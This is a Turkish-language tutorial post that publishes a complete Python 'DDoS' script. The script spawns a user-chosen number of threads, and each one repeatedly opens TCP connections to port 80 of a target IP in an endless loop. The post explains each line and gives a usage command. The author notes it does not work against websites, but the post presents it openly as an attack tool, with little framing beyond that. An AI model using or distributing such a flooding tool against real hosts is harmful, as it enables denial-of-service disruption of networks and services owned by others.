- 24 Mar 2022
- 84
- 39
Kodun Tamamı
Kodun Açıklaması
Burada fonksiyonumuzu oluşturuyoruz ve kullanıcıdan bağlantı isteği atılacak
Bu kısımda sürekli bağlantı isteği atmak istediğimiz için sonsuz döngü oluşturuyoruz.
Olurda bir hata meydana gelirse diye
Socketimizi oluşturuyoruz
Sonrasında socket'imizi kapatıyoruz.
Her istek gönderdiğimizde
Python da print otomatik olarak string'in sonuna
Kullanıcıdan
Kullanıcıdan oluşturulacak thread sayısını alıyoruz.
Port numaramız.
Gönderdiğimiz istek sayısını sayması için oluşturduğumuz counter değişkenimiz.
Thread sayısı kadar dönecek bir döngü oluşturuyoruz.
Thread'imizi oluşturuyoruz.
Ve son olarak thread'imizi başlatıyoruz.
Kullanımı
NOT: Bu kod internet siteleri üzerinde işe yaramıyor.
Python:
import socket
import threading
import sys
def ddos(IP,PORT):
while True:
try:
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((IP,PORT))
sock.close()
global counter
counter += 1
print(f"\rSend:[{counter}]",end="")
except:
print("[-] ERROR")
if __name__ == '__main__':
IP = sys.argv[1]
th = sys.argv[2]
PORT = 80
counter = 0
for i in range(int(th)):
attack = threading.Thread(target=ddos,args=(IP,PORT))
attack.start()
Kodun Açıklaması
Python:
import socket
import threading
import sys
socket
kütüphanesi ilgili ip adresine ağa bağlantı isteği yollamak için kullanacağız. threading
kütüphanesini bağlantı sayısını arttırmak için ve son olarak sys
kütüphanesini de kullanıcıdan bilgi almak için kullanacağız.
Python:
def ddos(IP,PORT):
while True:
try:
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((IP,PORT))
sock.close()
global counter
counter += 1
print(f"\rSend:[{counter}]",end="")
except:
print("[-] ERROR")
def ddos(IP,PORT):
Burada fonksiyonumuzu oluşturuyoruz ve kullanıcıdan bağlantı isteği atılacak
IP
adresi ve PORT
numarasını alıyoruz.while True:
Bu kısımda sürekli bağlantı isteği atmak istediğimiz için sonsuz döngü oluşturuyoruz.
try:
Olurda bir hata meydana gelirse diye
try except
bloğu kullanıyoruz.sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
Socketimizi oluşturuyoruz
socket.AF_INET
IPV4 temsil ediyor,socket.SOCK_STREAM)
TCP protokolünü temsil ediyor.sock.connect((IP,PORT))
IP
adresi ve PORT
numaralarını kullanarak bağlantı isteği atıyoruz.sock.close()
Sonrasında socket'imizi kapatıyoruz.
global counter
counter
değişkenini fonksiyon içerisinde değiştirebilmek için global
özelliğini kullanıyoruz.counter += 1
Her istek gönderdiğimizde
counter
değerini bir arttırıyoruz ki ne kadar istek gönderdiğimizi bilelim.print(f"\rSend:[{counter}]",end="")
Python da print otomatik olarak string'in sonuna
\n
koyar bunun önüne geçmek için end=""
kullanıyoruz. \r
kullanmamızın sebebi satırdaki bütün başına yazması ve taşmayı önlemesi. Her istek attığımızda counter
değişkenini yazdırıyoruz.
Python:
if __name__ == '__main__':
IP = sys.argv[1]
th = sys.argv[2]
PORT = 80
counter = 0
for i in range(int(th)):
attack = threading.Thread(target=ddos,args=(IP,PORT))
attack.start()
IP = sys.argv[1]
Kullanıcıdan
IP
numarasını alıyoruz.th = sys.argv[2]
Kullanıcıdan oluşturulacak thread sayısını alıyoruz.
PORT = 80
Port numaramız.
counter = 0
Gönderdiğimiz istek sayısını sayması için oluşturduğumuz counter değişkenimiz.
for i in range(int(th)):
Thread sayısı kadar dönecek bir döngü oluşturuyoruz.
attack = threading.Thread(target=ddos,args=(IP,PORT))
Thread'imizi oluşturuyoruz.
attack.start()
Ve son olarak thread'imizi başlatıyoruz.
Kullanımı
python3 main.py 192.168.1.1 250
NOT: Bu kod internet siteleri üzerinde işe yaramıyor.